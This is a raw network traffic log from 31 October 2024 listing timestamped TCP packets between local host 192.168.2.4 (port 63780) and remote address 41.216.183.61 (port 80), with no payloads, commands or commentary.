Oct 31, 2024 03:04:09.998488903 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.998497963 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.998511076 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.998522997 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.998533964 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.998554945 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.998585939 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.998918056 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.998928070 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.998976946 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.999000072 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.999058962 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.999075890 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.999119997 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.999221087 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.999234915 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.999248028 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.999258995 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.999272108 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.999310017 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.999310017 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.999617100 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.999655962 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.999666929 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:09.999691963 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:09.999722958 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.039120913 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.039199114 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.039201021 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.039212942 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.039226055 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.039249897 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.039302111 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.115113974 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.115174055 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.115185976 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.115197897 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.115211010 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.115221977 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.115231991 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.115252018 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.115274906 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.115427017 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.115447998 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.115458965 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.115482092 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.115482092 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.115516901 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.115813017 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.115852118 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.115873098 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.115901947 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.115904093 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.115925074 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.115936041 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.115943909 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.115967035 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.115997076 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.116210938 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.116230965 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.116241932 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.116260052 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.116292953 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.156254053 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.156269073 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.156279087 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.156292915 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.156322002 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.156359911 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.231848955 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.231872082 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.231882095 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.231900930 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.231915951 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.231916904 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.231966019 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.231966019 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.232186079 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.232198000 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.232208014 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.232237101 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.232270002 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.232569933 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.232583046 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.232594013 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.232604980 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.232620955 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.232655048 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.232655048 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.232876062 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.232928991 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.233398914 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.233411074 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.233422995 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.233433962 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.233459949 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.233491898 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.272715092 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.272728920 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.272741079 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.272798061 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.272820950 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.272834063 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.272835016 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.272866964 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.272892952 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.348572969 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.348650932 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.348651886 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.348661900 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.348687887 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.348700047 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.348704100 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.348726034 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.348757029 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.348757029 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.348951101 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.348963976 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.348973989 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.349024057 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.349060059 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.349365950 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.349423885 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.349469900 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.349481106 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.349524975 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.349524975 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.349536896 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.349549055 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.349560976 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.349572897 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.349580050 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.349611998 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.349631071 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.389369011 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.389430046 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.389436960 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.389448881 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.389482975 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.389506102 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.389512062 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.389556885 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.430423021 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.430474997 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.430478096 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.430520058 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.430521965 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.430553913 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.430561066 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.430619955 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.465619087 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.465634108 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.465645075 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.465677977 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.465703964 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.465717077 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.465723991 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.465728045 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.465749025 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.465775013 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.466253042 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.466264963 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.466274977 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.466303110 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.466337919 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.466424942 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.466435909 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.466471910 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.466562033 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.466573000 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.466583967 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.466594934 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.466614008 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.466644049 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.506335974 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.506378889 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.506412983 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.506412983 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.506439924 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.506478071 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.547282934 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.547298908 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.547310114 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.547418118 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.547467947 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.547518015 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.582412958 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.582425117 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.582436085 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.582468033 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.582479000 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.582500935 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.582544088 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.582685947 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.582737923 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.582995892 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.583005905 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.583034039 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.583045006 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.583058119 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.583091021 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.583220005 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.583231926 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.583271980 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.583349943 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.583362103 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.583372116 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.583404064 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.583439112 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.623246908 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.623260021 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.623270988 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.623332024 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.623368979 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.664030075 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.664042950 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.664118052 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.664127111 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.664140940 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.664151907 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.664194107 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.664194107 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.664377928 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.664436102 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.664488077 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.664541006 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.699353933 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.699367046 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.699377060 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.699388027 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.699474096 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.699474096 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.699539900 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.699551105 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.699587107 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.699683905 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.699736118 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.699752092 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.699764013 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.699810028 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.699932098 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.699981928 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.700052977 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.700062990 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.700073957 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.700103045 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.700134993 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.700253010 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.700264931 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.700275898 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.700306892 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.700337887 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.739820957 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.739927053 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.740124941 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.740137100 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.740147114 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.740184069 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.740214109 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.780900002 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.780913115 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.780924082 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.780982018 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.780982018 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.780993938 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.781025887 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.781059027 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.816224098 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.816237926 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.816250086 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.816261053 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.816272020 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.816282988 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.816322088 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.816417933 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.818197012 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.818213940 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.818253994 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.818285942 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.818299055 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.818309069 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.818360090 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.818420887 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.818434000 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.818466902 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.818475008 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.818487883 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.818505049 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.818522930 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.818542957 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.856718063 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.856734991 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.856746912 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.856760025 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.856796980 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.856836081 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.897676945 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.897690058 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.897737026 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.897789955 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.897800922 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.897814035 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.897824049 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.897825003 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.897850037 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.897876024 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.898200035 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.898235083 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.898236036 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.898272038 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.932681084 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.932693958 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.932714939 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.932753086 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.932765961 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.932775974 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.932775974 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.932862997 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.932862997 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.935045004 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.935064077 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.935075045 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.935097933 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.935134888 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.935204983 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.935216904 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.935228109 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.935259104 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.935277939 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.935281038 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.935291052 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.935349941 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.935349941 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.973346949 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.973367929 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.973378897 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:10.973479033 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:10.973576069 CET	63780	80	192.168.2.4	41.216.183.61
Oct 31, 2024 03:04:11.014328003 CET	80	63780	41.216.183.61	192.168.2.4
Oct 31, 2024 03:04:11.014388084 CET	63780	80	192.168.2.4	41.216.183.61
